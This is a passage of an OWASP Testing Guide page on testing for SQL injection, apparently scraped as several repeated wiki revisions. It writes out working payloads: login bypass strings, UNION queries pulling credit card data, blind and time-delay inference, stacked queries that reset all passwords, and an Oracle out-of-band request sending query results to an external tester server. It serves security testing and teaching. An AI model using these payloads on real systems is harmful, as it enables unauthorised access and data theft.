<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T02:48:21Z

Thompsnm: /* How to Test */ - Adjust headers for readability; add missing 'though'

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T02:24:34Z

Thompsnm: /* Summary */ - add 'is' to a sentence that lacked a verb

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

==== Standard SQL Injection Testing ====

Example 1 (classical SQL Injection):

